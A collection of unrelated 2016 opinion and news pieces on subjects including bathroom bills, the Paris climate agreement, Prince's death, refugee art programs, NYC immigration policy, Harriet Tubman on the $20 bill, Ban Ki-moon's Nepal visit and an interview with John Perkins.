But this isn't really about the safety of women and girls. If we were really worried about the safety of women and girls in bathrooms then we'd be introducing legislation to keep convicted sex offenders out of public bathrooms. We'd stop victim shaming women for getting assaulted and raped. We'd stop making women pay for rape kits in the hospital. We'd take women seriously when they say they've been assaulted. We'd start hearing our young girls when they share stories of assault and objectification. We'd never let a Tennessee State Representative, whom the attorney general found to be a threat to women, keep his job and just move him to a different building. The biggest story of the night wouldn't be Target's bathroom policy, it would be that the longest standing Republican Speaker of the House molested boys, according to federal prosecutors.

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This is NOT NOT NOT about the safety of women and girls. It is about lawmakers and others being uncomfortable around transgender individuals. Where do they think transgender individuals have been using the bathroom all these years? We've been sharing bathrooms with trans folks for forever.

Criminals are not waiting for the opportunity to put on a dress to go assault someone. They don't need to wait for that opportunity. They know that women are unlikely to share the assault because they won't be believed, they'll be made to feel like they brought it on by what they wore or how they acted or how much alcohol they consumed, or they'll be humiliated in front of others by having to repeat their story over and over as if they were the criminal.
One of the thickest chapters in human history could be titled "It Seemed Like a Good Idea at the Time." Over the centuries, our species has taken plenty of wrong turns -- often because we simply didn't know any better.

Well, hindsight may be 20/20, but that doesn't mean we can use it to change the past. What we can do, though, is learn from the past to make the future better. It turns out that a big part of what humans call progress is having the good sense to stop doing dumb things once we wise up.

This Earth Day, we mark a major milestone in stopping one of the most dangerous mistakes our species has ever made: Digging up and burning enough fossil fuels to change our planet's climate. Today at the United Nations, more than 150 governments will attend the signing ceremony for the groundbreaking climate agreement that was negotiated and adopted in Paris at the end of last year. The agreement was basically the whole world's way of saying with one voice: "Wrecking our climate by burning fossil fuels is crazy and it's got to stop!"

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A year ago, even an incorrigible optimist like me wouldn't have guessed that this is where we'd be today. It's definitely reason to celebrate. But... even with the Paris agreement and all the momentum we've gained, we're still not where we need to be if we're going to save our climate.

It may be governments that are signing the Paris agreement today, but that wouldn't be happening if it weren't for millions of ordinary people who care making the future better. So let's celebrate this milestone with the same kind of grassroots activism that's helped us get this far.

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This was a big week for the United Nations, which came out strong on climate and the sustainable development goals and witnessed major milestones in recent months. First, on climate, post-Paris, there were over 160 countries signing the deal at UN headquarters on Earth Day, April 22. This is an unprecedented number of signatories, higher than ever before in UN history.

Second, we witnessed the 2016 kickoff of the UN Sustainable Development Goals, which articulate the UN's agenda for the next 15 years. These goals will be essential for ensuring that we can sustain and survive our way well into this century, with population growth inching toward 10 billion by 2050. The goals are all about providing economic prosperity, social inclusion and environmental sustainability for everyone. No nation and no individual left behind. No small feat.

Amid this week's hoopla, however, just north of UN headquarters in the Bronx, a much more unusual chat occurred between SDG Advocate and actor Forest Whitaker and 400-plus students from the Bronx Center for Science and Mathematics, a New York City public school set in one of the poorest congressional districts in the country.

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Whitaker's task, with a banner backdrop of the 17 Sustainable Development Goals on stage, was to connect with Bronx students on the bigger UN agenda now through 2030, which he did humbly and eloquently. Having grown up in South Central Los Angeles during the Watts Riots, the Black Panther movement and the Vietnam War (which, according to Whitaker, completely changed his cousin, who served, to the point of unrecognizability) he identifies with the needs spelled out explicitly in the goals and noted, rightly, that if we don't fulfill the needs laid out in the SDGs then conflict occurs as a result.

Whitaker is right. You can see this anywhere, from America to Angola, from Argentina to Azerbaijan. As long as the goals go unmet -- whether poverty, hunger, or inequality -- we will continue to see conflict and violence manifest globally. It doesn't matter where you live or how high your neighborhood's or nation's walls are, there will be unrest, there will be conflict and there will be violence.

Whitaker knows this better than most, working with gangs in Los Angeles and child soldiers in South Sudan. As an actor who tries to empathize with every character and role he assumes, even the dictators (finding that "they're just like me" after you peel off all the layers), he knows what drives conflict. He's seen it. And he knows the kinds of peacebuilding approaches necessary to transform it. He's investing in them. This is a man who is clearly walking the talk, which is why he chose to be on a high school stage in the Bronx while heads of state were on stages in UN headquarters.

Joined by the UN Assistant Secretary General for Policy Coordination and Inter-Agency Affairs, Thomas Gass, and another SDG Advocate, Ambassador Dho Young-shim, this Bronx school visit is part of a bigger UN agenda to popularize the sustainable development goals, to "make them famous," as Gass put it. The goals are a "declaration of interdependence" since they apply to every country and require every country's active participation to meet them. And the students got it, especially when Whitaker talked about how intertwined the 17 goals are, how they're all interconnected. ("You can't get a job without proper housing," he noted.)

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But how can Bronx Center students contribute, since they are not yet operating the national political or policy levers of control necessary to meet these goals? That was the question constantly being asked of Whitaker by the bright minds at the Bronx Center: What can I do? And this is where Whitaker's answer was powerful and poignant, not just for the students but for anyone watching the high-level UN events this week. This isn't a nation-state game only. This is every person's game. Everyone has a vested interest. Everyone has a stake. Everyone has something to do to get us closer to the climate and sustainable development goals outlined and adopted at the UN. Without everyone on board, we won't even come close to meeting these goals.

That's why Whitaker encouraged the Bronx students to try something simple: Tutor some younger kids in the neighborhood, walk instead of transit, use water more efficiently, align school assignments -- reading and writing -- with one's bigger global agenda and mission (as Whitaker is doing for his thesis at New York University). Do something.

Again, this is where Whitaker walks his talk. As a global Ambassador for Peace and Reconciliation at the UN, Whitaker isn't forgetting his roots or his reality, as he is about to pilot a conflict training program in LA schools (something that should be rolled out in every school nationally). In doing so, Whitaker's point to the students is this: Start something, anything. And if we all do that, it adds up quick. That's how we meet the goals and make them famous. All hands on deck. No one left behind.
When I first heard that Prince Rogers Nelson had died, it felt like music died.

Again.

I have been in an extended season of mourning since the March 22nd death of Malik Izaak Taylor, better known as Phife Dawg, one-fourth of the legendary hip hop group A Tribe Called Quest. I listened to Midnight Marauders daily for almost two weeks straight.

I was also deeply impacted by the March 15th death of legendary Gospel artist Pastor Daryl Coley. Many childhood memories are filled with his sweet tenor echoing throughout our home. While not as well known to the masses as other artists, those in the know knew that Pastor Daryl Coley was one of the greatest male vocalists of all time. On February 4th, we lost Maurice White of the legendary group Earth, Wind, and Fire, arguably the greatest R&B group of all time. And on January 10th, we lost Iman's husband, the iconic David Bowie.

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This is what happens with loss. One loss causes you to again feel and consider others. In recent years, our musical losses have been great and many.

Luther.

Gone.

Michael.

Gone.

Whitney.

Gone.

Now Prince.

Gone.

Intensifying these losses for me is the unyielding notion that music artistry as a cultural form is regressing. Today's athletes are stronger and faster than their predecessors, and they are constantly breaking records and expanding the realms of human physical achievement. Scientists are undeniably more knowledgeable of the universe than at any other time in human history, and their inventions are giving us first glimpses of the far expanses of our galaxy. Yet no person with fully functional faculties would dare claim that music artistry today is better than in days before.

I recall that before the beginning of the New Year, some commentators were boldly proclaiming that Adele was the new Whitney Houston.

I laughed. I laughed heartily.

Adele is a rare talent, but she is no Whitney Houston. When Whitney Houston hit and extended her note near the end of "I Will Always Love You", singing, "And IIIIIIIIIIIIII...", I am fairly confident that the earth shifted slightly on its axis.

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I made the unfortunate mistake of turning on the radio while in transit soon after learning of Prince's death. Suddenly, everything on the radio sounded worse than it normally does. It sounded like musical rigor mortis.

Lifeless.

Uninspiring.

A cacophony of talentless repetition.

Without question, the best show anywhere is now playing only in heaven. We will have our records, tapes, CD's, and downloads to comfort us. Still, it won't be the same as knowing their genius walks among us. These are talents the likes of which we may never see, again.

Rest in peace, music.
Global Organizations Bring Art To Child Refugees, While Public Figures Raise Awareness

Photo credit: Reuters



Wars are fought for many reasons, some clearly defined, others more obscure. Death is inevitable in combat, but the deaths of innocent bystanders shouldn't be; unfortunately, it's the reality of violent warfare. Aside from those who lose their lives due to conflict, there are innocent civilians who inadvertently become involved as well. What happens to those who are left homeless after their homes have been destroyed? What happens to those whose loved ones are missing or have been killed as a result of the fighting? Those people become collateral damage of war, refugees. Among these millions of refugees are children, whose only focus should be on having fun and learning, not on helping their families survive another day. (Also see my article on Diplomat Artist - "Global Conflict is Affecting our Children.")

Often lost, confused, and frightened, these individuals need someone to help them and show them that regardless of how disparaging life may seem at the moment, it is possible to move on. There are a number of organizations that make it their goal to provide for misplaced refugees. Some arrange for shelter, food and first aid, while others work more directly with the individuals. Mary Madsen and Sasha Crow are two Americans who aimed to be those people, the ones to give hope to those suffering from the damages of war.

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In 2006, Madsen and Crow created the Collateral Repair Project (CRP), an organization that aims to provide assistance to Iraqi refugees. The project is currently based in Amman, Jordan because of the large number of refugees that relocate to the area. Collateral Repair Project has expanded since it was first launched and now serves Jordanians, Iraqis, Syrians, and other refugees fleeing from the violence in their countries.

One of their recent campaigns in Amman, Jordan involved learning about the hopes and dreams of children in the CRP community. The proceeds that the campaign Summer of Hope raised, provided basic needs and educational necessities from food and household's items to school supplies, uniforms, and books.

Resources and assistance are crucial for refugees hoping to create a new life. What is also necessary for these individuals, especially children, is a sense of normalcy and an outlet to express themselves. This sense of normalcy comes in the form of art. In 2015, the Children's World Art residency in Amman, Jordan, in conjunction with Collateral Repair Project, was able to create "a sustainable, supportive art program" that served Syrian, Iraqi, and Palestinian refugees.

PHOTO credit: childrensworldart.com

Cheryl Walpole, co-founder of Children's World Art Initiative stated, "Art can be a facilitator of change and link to individuals own humanity. Learning a new way of life in the same time, processing the trauma and loss of the life they once knew, the refugees are amongst the strongest, most resilient lot I have ever met."

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Photo credit: STARTworld.org

Children's World Art is not the only organization that believes in the power of art. START is another non-profit organization that brings art into the lives of Middle Eastern refugees in an effort "to heal and educate children who have suffered with war, pain and loss." The art workshops are located in India, Palestine, Lebanon, Jordan, and the United Arab Emirates. The artists involved in START's artist residency programs are volunteers from around the globe.

The number of child refugees is rising and is currently the highest amount since World War II. Save the Children is another organization that has gotten a lot of exposure in its effort to provide life-saving aid to refugee children around the world. They have also provided music, art and dance workshops to children in Egypt. In Italy, Save the Children has provided refugees with safe places to play, be entertained, and socialize. And in Lebanon, a country where one-fourth of its population is made up of Syrian refugees, the organization has provided over 300,000 children with education, food, and a safe place to sleep. Simply put, "Save the Children invests in childhood -- every day, in times of crisis and for our future. In the United States and around the world, we give children a healthy start, the opportunity to learn and protection from harm."

PHOTO credit: Save The Children



Public figures have begun voicing their opinions on the refugee crisis recently as well, which has garnered a lot of attention for various organizations that aid those affected by crisis. Olivia Wilde, actor and activist, was awarded the Advocate Award at Save the Children's 3rd Annual Illumination Gala last Fall. She has used Twitter as a platform for her activism and as a result is one of the newest Save the Children artist ambassadors. She is not the only celebrity that has shared their views on Twitter. John Green promised to match donations made to a fundraising page created by author Patrick Ness, to be donated to Save the Children. The total amount raised surpassed $1,000,000, thanks to the efforts put forth on Twitter by John Green and his fans. Green has since joined forces with UNHCR, the UN Refugee Agency, and has traveled to Jordan to hear the stories of the refugees who reside there just last month.

Those affected by war may be left to deal with the destruction of their homes and their lives, but with the support of individuals and organizations around the world, they are not alone. Those considered collateral damage should not have to suffer because of the actions of others. Innocent civilians are not the target, yet they are stuck with the burden of creating a new life when theirs has been ripped away from them. Artists, activists, donors, and those alike work tirelessly to provide hope and aid to those affected by war. To get informed and get involved, follow @Refugees and @SaveTheChildren on Twitter.
NEW YORK, NEW YORK - APRIL 13: New York City Mayor Bill de Blasio speaks during the opening of the NAN 25th Anniversary National Convention at New York Sheraton Hotel & Tower on April 13, 2016 in New York City. (Photo by J. Countess/WireImage)

2016 has thus far been a difficult year for immigrant communities. Not only has anti-immigrant demagoguery filled headlines during the presidential race, but President Obama's effort to alleviate harm to immigrants with ties to their communities through executive action remains stalled as a result of a legal challenge by a group of states and governors. That case, United States v. Texas, was heard by the Supreme Court this week.

Because national immigration politics have dominated public discourse, it is possible to overlook the important work of cities in supporting their local immigrant communities while advocating for comprehensive immigration reform. In United States v. Texas, for example, Mayor Bill de Blasio was a leader in organizing Cities for Action, a national coalition of more than 100 mayors, cities and counties that filed an amicus brief urging the Supreme Court to overturn the ruling blocking the President's executive order.

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The brief notes that executive action will provide relief to an estimated four million immigrants and their families, and contributes over $800 million annually in economic benefits to state and local governments. For New York City, an estimated 220,000 immigrants and their families would benefit from Deferred Action for Parents of Americans (DAPA) and expanded Deferred Action for Childhood Arrivals (DACA) programs. The delay in implementation has forced mixed-status families with U.S. citizen children (representing at least nine million people nationally) to continue to live in ongoing fear of deportation and separation, a situation that has profound emotional, educational and health impacts on children. Each day of delay costs local governments hundreds of thousands of dollars in unrealized revenue, while hindering the ability of local law enforcement to build trust with immigrant communities and simultaneously increase public safety.

Investing in immigrant communities benefits cities many times over. In New York, we know that permitting undocumented persons to apply for DACA improves their access to healthcare, education and jobs, thereby enhancing their prospects for independence and prosperity, all to the benefit of our city's fiscal health. These efforts are also a moral imperative, consistent with America's most cherished values of inclusion and shared prosperity.

Under Mayor de Blasio's administration, the City has also undertaken initiatives to eliminate inequities against immigrant New Yorkers by enhancing their economic, civic and social integration into the broader community and facilitating their access to justice.

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One such initiative is ActionNYC, a community-based model that delivers necessary free legal services focused on the specialized needs of our immigrant population. ActionNYC ensures that immigrants needing legal advice about their status do not fall victim to unscrupulous practitioners who have preyed on the desperation and fears of immigrants uncertain of their rights. Far too many New Yorkers who are eligible for immigration relief do not know that they qualify. The National Immigration Justice Center estimates that about 14 percent of individuals screened for DACA turned out to be eligible for more permanent forms of immigration relief. And in the event that the ruling blocking the President's executive order is overturned - and we believe it will be - ActionNYC will assist New York City immigrants to gather all necessary documents and application materials so that they are ready to complete their applications for immigration relief within what may be a short enrollment period.

The solidarity of the mayors, cities and counties that have signed on to the amicus brief supporting the President's executive action represents America at its best - honoring our history as a land built on waves of immigrants who share a common aspiration for a better life. The needs of our immigrant neighbors should not be further delayed. Beyond the current case in the Court, the time for common sense immigration reform is now.
I am very pleased that at long last a woman's face will appear on the $20 American bill--and more than pleased that the woman chosen for this honor is none other than Harriet Tubman, an ex-slave who helped free other slaves and who was an ardent and activist abolitionist.

However, I am a lot less than pleased that the other honorable women chosen, all seven of them, will share space at the back of our ten and the five dollar bills--but not until 2020.

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Each of these women deserves featured billing and a bill of her own.

On the back of the ten dollar bill we will see small cameos of Susan B. Anthony, Elizabeth Cady Stanton, Lucretia Mott, Alice Paul, and Sojourner Truth (who was both an abolitionist and a woman's rights activist).

On the back of the five dollar bill we will see small portraits of Marian Anderson, Eleanor Roosevelt--and Martin Luther King Jr., whom I respect and adore, but who is certainly not a woman.

None of these seven women deserve to be miniaturized in this less than respectful way.

If current revisionist sentiments are in favor of removing Andrew Jackson from the front of the $20 bill because he was a slave owner, then why not remove George Washington from the front of the one dollar bill because he, too, owned slaves? Thomas Jefferson from the front of the two dollar bill because he too was a slave-owner?

Our beloved Benjamin Franklin abandoned his wife in Philadelphia, disowned one of his sons, and may have fathered an estimated fifteen children out of wedlock--and, as a young man, he owned slaves and carried advertisements for slaves in his newspaper, The Pennsylvania Gazette. Why keep him on the front of the one hundred dollar bill?

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Andrew Hamilton, who remains on the front of the ten dollar bill, was a married man who became entangled in a major sex scandal and allegedly used government funds to silence his blackmailer.

On President Ulysses S. Grant's watch, millions of dollars were funnelled from the "whiskey tax" into private pockets--why should he remain on the fifty dollar bill?

Enough said.

But can any of us cast the first stone?

Here's my suggestion. Let's take turns. Why not choose seven men whose faces currently grace the front of our paper currency and place them on the back of the bills for the next 154 years, (paper currency began in 1862), and put these most honorable women, each on her own bill? They've waited long enough.
Many college students are not getting enough sleep. The Huffington Post has been touring the country with a message that focuses on why sleep is so important to our health. The #SleepRevolution College Tour is making a difference!

In my capacity as a Campus Editor-at-Large for The Huffington Post, and in collaboration with the University of Oregon Student Mental Health Advocates and Social Media Club, I held Sleep Revolution meetings on campus during the first week of spring term.

We had a great discussion with members of both groups on the power of sleep. We unanimously agreed that college students are terribly sleep-deprived, and that aspect of the college experience should change.

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I started the event by sharing my experience with sleep. I used to be a proud member of #TeamNoSleep. I have since learned the hard way, that I can't just "sleep when I'm dead."

As a part of the Sleep Revolution challenge, I asked members to share a time when they felt last recharged. One graduating senior said that had not happened since his first day of college...four years ago! Yes, you read that right.

The next part of the challenge required sharing what we do first thing in the morning to wake up, and the last thing we do before we sleep. To get a better night's sleep, Madison, a student member of University of Oregon's Social Media Club, reads right before she retires to bed. This helps her calm her mind. Kevin, the president of UO SMC says that his bed is a device-free zone. On average he sleeps for seven hours each night.

Attendees of the Sleep Revolution event received sleep kits courtesy of the The Huffington Post, and their incredible sponsors. Fifteen lucky participants walked away with a kit full of giveaways: Soxxy socks, KIND bars, Sleep Number eye masks, Victoria's Secret essential oils, Lands' End pajama set, Marpac's Rohm portable sound machine, Marriott portable speakers, Arianna's book with a corresponding Kikki K sleep journal, and more.

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The Sleep Revolution has sparked an important conversation on University of Oregon's campus.
Woman leaning head on desk with futuristic devices, high angle view

I had a good income, holidays off, and full health insurance. My career helped me afford a reliable car, a drink in my hand by 5:00pm, and all the stability and safety I was always told to go after. But I wasn't happy.

I worked in marketing and PR for fashion brands around Los Angeles, a role I'd worked hard to prepare for. My career wasn't bursting with success, but it was exciting and it had perks: sample clothing, fashion shows, working with designers, enough money to vacation in Hawaii every year. Still, something was off. I wanted more from my own life. I wanted more from and for myself.

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I should disclose that I'm a 10 year cancer survivor. In some ways, this is a catch 22: I want life to be both exciting, thrilling, and full of adventure, and also simple, peaceful, and stable. The big things, like seeing the world, matter just as much as the little things, like having hair again or the freedom to live without fear of needles.

I want to see the whole world and all it's wonder, but also see the magic of the afternoon glow through my bedroom window. The pressure to live fully after surviving never really goes away, because I never forget how lucky I am, and I don't want to take anything for granted. And most pressing of all, I don't want to waste any time.

That's just the thing: Am I moving backward if I start over at the beginning? I used to think so, but not anymore.

When I started waitressing it was justified in two fold: I needed an income, and I wanted all my mental energy to go toward figuring out what path to take next. I needed to save all my emotional and intellectual awareness for the quest of my true purpose, and I needed to make sure none of my creative juice was drained in the name of income.

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Waitressing is hard work. It's physically demanding and customers are very often degrading, condescending, and impatient.

It's a beautiful study in human behavior and compassion, and I now whole-heartedly believe that every person should be required to work in the service industry for at least a month. If they did, they'd realize the importance of kindness and mutual respect. And it wasn't easy to work all day defining what wanted to create and contribute, and then work all night selling beers to successful young entrepreneurs. But I did it. And a few months after starting, I realized the destiny of my creativity and passion.

And then I kept waitressing for over two years to get the required clarity and conviction to answer my calling.

There's a phenomenon sparking many people in my generation to desire total independence; they don't want to work for anyone else, and they don't want to have to compromise anything. This is the 'hustle' generation, the get-sh#t-done-coffee-mug era, and we're obsessed with ruthlessly attaining, accomplishing everything in a single day, being rich and successful and to give zero f#cks while we do it. We can hardly be bothered to use more than three words when describing our mentality (see previous sentence).

I started writing, blogging and freelancing with a little of that intention too. I didn't want someone else to tell me what to write, and I didn't want to sacrifice a single bit of my voice, or personal views in the process. But I also wanted to be successful. Chasing success in something I love taught me that there's no such thing as total independence. I now know it's one of the many reasons so many start-ups go under and so many entrepreneurs fail; they just don't value the other person enough.

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We can't offer anything of deep and lasting value to anyone else without being both the best version of ourselves, and compassionate to the beliefs and needs of others.

We're all in this together. Waitressing is a first hand lesson in the importance of what we give to others. It's taken for granted, but a waitress is the person who listens to all your wants and needs, makes sure they happen, and gives you a vital element of survival: food.

The realization that I'm only as successful as the quality of what I offer to others has helped me grow in every way: as a person, a writer, as a member of society. What I create is of more value, and I get back what I give. But I can only give to others what I give to myself; I can only be as kind, compassionate, and empowering to them as I am to myself.

I had to work very hard to make waitressing work, and I'm sure at many stages it would have been easier to just go back to safe desk jobs where I didn't have to pay separately for health care or work two back-to-back ten hour shifts. There were times I went through severe depression, and thought I'd taken too big of a risk and sacrificed my own health and potential. But there were times I felt proud to have committed so fully to honoring my creative hunger. And in the end, I'm so glad I followed that little whisper of intuition telling me to seek my personal best.

I'll never regret doing what it took to test myself, and find what it is I wanted to do most with this second chance at life. Challenge has more to teach than success ever has, and the more we honor our challenges as teachers and value each other, the more we can create a much brighter future for all of us.

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(Photo: United Nations Facebook )

On the occasion of Buddha Jayanti, a seminar is being held on Buddhism in Kathmandu on May 19 to 21 while Buddha Jayanti celebration will be held on the 8th in Lumbini.

United Nations Secretary-General Ban-Ki-Moon and Chinese President Xi-JinPing will be present in Nepal for the celebration of 2560th International Buddha Jayanti.

Deputy Prime-Minister Chandra Prakash Mainali expressed his heartfelt thanks to Ban-Ki-Moon for the extra-ordinary assistance and love offered by UN at different times. Mr. Mainali reiterated that the new constitution was all inclusive and democratic and remaining matters would be solved through a high level political committee. Deputy Prime-Minister Mainali was thanked by General Secretary Ban who was representing the team that was present to participate in 60th session to discuss women related issues.

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Lumbini, the Birthplace of the Lord Buddha (Photo : Nepal Tourism Board's Facebook)

During the meeting, Deputy PM Mainali invited General Secretary of the united nations Mr. Moon for Nepal visit. Deputy PM Mainali presented the invitation sent by PM KP Oli to General Secretary Ban Ki Moon for Nepal visit on the occasion of 2560th Buddha Jayanti. General Secretary Ban offered his gratitude for the invitation.

Tourism Minister Anananda Pokharel informing Ban-Ki-Moon about Buddha Jayanti celebration said that he was eager to welcome the General Secretary. At the meeting, Nepalese ambassador Durga Prasad Bhattarai, Secretary Madhu Prasad Regmi of Ministry for Women, Children and Social Welfare and other government officials were present.

Minister Pokharel informed that many leaders of other nations and diplomats had been invited for the 2560th International Buddha Jayanti celebration to be held from May 19, 2016 to May 21, 2016.He said UN General Secretary and Chinese President had expressed their desire to visit Lumbini. Lumbini, Nepal (Photo: Lumbinidevtrust.gov.np)

Dr. Anil Joshi said, "His visit definitely helps to promote Nepal. Mr. Moon will give a message of peace."

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Prem Guragain who is engaged in promoting Nepal as birthplace of Buddha as a social activist in California said that Moon's visit to Nepal shall eliminate all doubts about propaganda that Buddha was born in India while contributing towards economic development and progress in tourism.

According to Journalist Kishor Panthi, Moon's visit will create new energy in Nepal. Nepal is facing the aftermath of the earthquakes. Thousands still struggling to return to normal lives. His visit definitely helps to promote Nepal and Nepali tourism industry. That is why his visit is so important.

According to pure Nepali linguist journalist Bijaya Thapa, who lives in DC, Ban-Ki-Moon's Nepal visit will teach the world a new lesson. Nepal is now a great place for travel. Earthquake ravaged Nepal will gain a new place in tourism industry with his visit. Whole world will hear the voice of peace.

Journalist/Travel writer Sanjok Acharya said, " The visit shall contribute towards promotion of tourism while taking Nepal's identity to the world as a birthplace of Buddha and a Zone of Peace. Tourism year will be a milestone for the Nepali tourism sector. Tourism industry is the main key to boost Nepali shattered financial condition. It is the backbone of Nepali economy."

Minister Pokharel said that Indian Prime Minister Narendra Modi, Srilankan Presidenet Ranil BikramSinghe, Bihar Chief Minister Nitish Kumar and UNESCO Director General Irinia Bekabha were also invited.

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At the event organized under Chairman Sidhartha Maharjan of Lumbini Development Fund, Minister Pokharel mentioned that an international convention was being held with the slogan, "Lumbini Nepal, the birthplace of Buddha and the foundation of Buddhism."

Parliamentarian Ahmed Khan mentioned that the assembly was a great opportunity for the development of Buddhism in a right way putting matters of dissatisfaction aside. (Photo: Official Facebook of U.S. Embassy, Nepal)

Personality like Ban-Ki-Moon must visit Nepal at any cost, whether it be to unite the Nepalese or to recognize Nepal as the most pious land of Buddha.


From my perspective, as we see women breaking barriers at every level of society -- and, by the way, as we see people of color breaking barriers at every level of society -- our money ought to more accurately reflect who we are as a nation in the 21st century.

I am not saying that President Andrew Jackson or any of the men we honor on our money are not worthy. Many of our founding fathers made important contributions to this country which we continue to enjoy today in the United States and throughout the world by the spread of democracy. It is also true that part of our history includes practices and decisions that we certainly are not proud of.

Let's be straight, President Jackson was a war hero, a great defender of the young American Republic, and the first President and Founder of the Democratic Party. He oversaw our great nation as it came together and expanded west.

But it is the expansion of this nation, the manifest destiny that pushed settlers west, that pushed the institution of slavery west, and that pushed the extermination and forced migration of Native peoples west -- that is precisely the nexus of Andrew Jackson and Harriett Tubman and illustrates why putting a new face on our money makes sense.

The forced removal of Native peoples from their land so that we could expand slavery is at the heart of Andrew Jackson's legacy. It is the land-grab and the trail of tears that is key to contextualizing President Jackson and his era.

It was when Harriett Tubman was about six years old that Jackson became President. She was born a slave in Maryland and eventually walked to freedom in Pennsylvania.

But she went back. Again and again. At least 19 times, showing more than 300 black people how to follow the Big Dipper and the North Star to freedom in the North -- as a conductor on the Underground Railroad.

She was an agitator. She was a subversive. She used the tools of social change to improve America. She fought for the little guy against the strong guy. And she was willing to put herself at great risk to ensure justice for others.

And she was a woman and she was black.

In other words, she was an ideal American!

Harriet Tubman -- because she is a woman, because she is a woman of color, because she fought for freedom and for a better America in the face of this nation's greatest -- and still unresolved -- sin of slavery and racism; Because she turned the tide of history for the better -- she is a very, very worthy nominee for this honor.

In a few years, maybe in a few months, when the idea of putting a woman on our money is considered a quaint, old-fashioned debate, and similarly when the idea of putting a person of color on our money no longer seems like such a remarkable step, we will wonder why it took so long.
Indira Lakshmanan: We're going to take another question from one of our viewers, who tweeted us to ask, Derek Chollet, does Secretary Clinton support Senator Chris Murphy and Senator Rand Paul's call for new conditions on U.S. military support for Saudi Arabia?

Derek Chollet: I don't know.

IL: OK, what would be your thought?

DC: I'd have to see what those conditions are. I mean, we don't give them everything they want, I used to handle the Saudi account at the Pentagon and there's a lot that the Saudis are interested in that we don't give them for a whole variety of reasons. So I would have to take a look at that more closely to advise her on what I would say...

IL: OK, fair enough. Larry, are you familiar... ?

Larry Korb: I am, and I think Senator Sanders would support it. Again, because as he's talked about, the concern about what the Saudis do and how they get away with things. Remember, we got Chris Murphy and Rand Paul, different parts of the ideological spectrum, and they're the same group that's supporting get them to release the 28 pages, of the 9/11 report.
Twelve years ago, John Perkins published his book, Confessions of an Economic Hit Man, and it rapidly rose up The New York Times' best-seller list. In it, Perkins describes his career convincing heads of state to adopt economic policies that impoverished their countries and undermined democratic institutions. These policies helped to enrich tiny, local elite groups while padding the pockets of U.S.-based transnational corporations.

Photo by Paul Dunn for YES! Magazine

Perkins was recruited, he says, by the National Security Agency (NSA), but he worked for a private consulting company. His job as an undertrained, overpaid economist was to generate reports that justified lucrative contracts for U.S. corporations, while plunging vulnerable nations into debt. Countries that didn't cooperate saw the screws tightened on their economies. In Chile, for example, President Richard Nixon famously called on the CIA to "make the economy scream" to undermine the prospects of the democratically elected president, Salvador Allende.

If economic pressure and threats didn't work, Perkins says, the jackals were called to either overthrow or assassinate the noncompliant heads of state. That is, indeed, what happened to Allende, with the backing of the CIA.

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Perkins' book has been controversial, and some have disputed some of his claims, including, for example, that the NSA was involved in activities beyond code making and breaking.

Perkins has just reissued his book with major updates. The basic premise of the book remains the same, but the update shows how the economic hit man approach has evolved in the last 12 years. Among other things, U.S. cities are now on the target list. The combination of debt, enforced austerity, underinvestment, privatization, and the undermining of democratically elected governments is now happening here.

I couldn't help but think about Flint, Michigan, under emergency management as I read The New Confessions of an Economic Hit Man.

I interviewed Perkins at his home in the Seattle area. In addition to being a recovering economic hit man, he is a grandfather and a founder and board member of Dream Change and The Pachamama Alliance, organizations that work for "a world that future generations will want to inherit."

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Sarah van Gelder: What's changed in our world since you wrote the first Confessions of an Economic Hit Man?

John Perkins: Things have just gotten so much worse in the last 12 years since the first Confessions was written. Economic hit men and jackals have expanded tremendously, including the United States and Europe.

Back in my day we were pretty much limited to what we called the third world, or economically developing countries, but now it's everywhere.

And in fact, the cancer of the corporate empire has metastasized into what I would call a failed global death economy. This is an economy that's based on destroying the very resources upon which it depends, and upon the military. It's become totally global, and it's a failure.

van Gelder: So how has this switched from us being the beneficiaries of this hit-man economy, perhaps in the past, to us now being more of the victims of it?

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Perkins: It's been interesting because, in the past, the economic hit man economy was being propagated in order to make America wealthier and presumably to make people here better off, but as this whole process has expanded in the U.S. and Europe, what we've seen is a tremendous growth in the very wealthy at the expense of everybody else.

On a global basis we now know that 62 individuals have as many assets as half the world's population.

We of course in the U.S. have seen how our government is frozen, it's just not working. It's controlled by the big corporations and they've really taken over. They've understood that the new market, the new resource, is the U.S. and Europe, and the incredibly awful things that have happened to Greece and Ireland and Iceland, are now happening here in the U.S.

We're seeing this situation where we can have what statistically shows economic growth, and at the same time increased foreclosures on homes and unemployment.

van Gelder: Is this the same kind of dynamic about debt that leads to emergency managers who then turn over the reins of the economy to private enterprises? The same thing that you are seeing in third-world countries?

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Perkins: Yes, when I was an economic hit man, one of the things that we did, we raised these huge loans for these countries, but the money never actually went to the countries, it went to our own corporations to build infrastructure in those countries. And when the countries could not pay off their debt, we insisted that they privatize their water systems, their sewage systems, their electric systems.

Now we're seeing that same thing happen in the United States. Flint, Michigan, is a very good example of that. This is not a U.S. empire, it's a corporate empire protected and supported by the U.S. military and the CIA. But it is not an American empire, it's not helping Americans. It's exploiting us in the same way that we used to exploit all these other countries around the world.

van Gelder: So it seems like Americans are starting to get this. What is your sense about where the American public is in terms of readiness to do something?

Perkins: As I travel around the U.S., as I travel around the world, I see that people are really waking up. We're getting it. We're understanding that we live on a very fragile space station, and it's got no shuttles; we can't get off. We've got to fix it, we've got to take care of it, and we're in the process of destroying it. The big corporations are destroying it, but the big corporations are just run by people, and they're vulnerable to us. If we really consider it, the market place is a democracy, if we just use it as such.

van Gelder: I want to push back on that one a little bit because so many corporations don't sell to ordinary consumers, they sell to other companies or to governments, and so many corporations have such an entrenched reward system where if one person doesn't perform by exploiting the earth they'll simply get replaced with somebody else who does.

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Perkins: I've recently been speaking at a number of corporate conferences. I hear time after time after time that many of them want to leave a green legacy. They've got children, they've got grandchildren, they understand we can't go on like this.

The big corporations are destroying it, but the big corporations are just run by people, and they're vulnerable to us.So what they say is, "Go out there, start consumer movements. What I want is to receive a hundred thousand emails from my customers saying, 'Hey, I love your product but I'm not going to buy it anymore until you pay your workers a fair wage in Indonesia, or wherever, or clean up the environment, or do something.' And then I can take that to my board of directors and my big stockholders, to the people who really control whether I get hired or fired."

van Gelder: Those campaigns, as you know, have been going on for decades now, and sometimes they result in small changes around the edge. But there's enormous resistance from corporate executives because of the profits to be made in continuing the system as is.

Perkins: I think we've seen tremendous changes, though. Just in the last few years, we've seen organic foods become very big. Twenty years ago they couldn't make a go of it. We've seen women having bigger positions in corporations, and minorities, and we need to get better at this.

We've seen the labeling of many foods. GMOs aren't included yet, but nutrition and calories and so forth are. And what we really need to do is convince corporations that they've got to have a new goal.

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We've got to let corporations know what their job is: It's to serve a public interest, and make a decent rate of return for investors. We need investors, but beyond that, every corporation should serve a public interest, should serve the earth, should serve future generations.

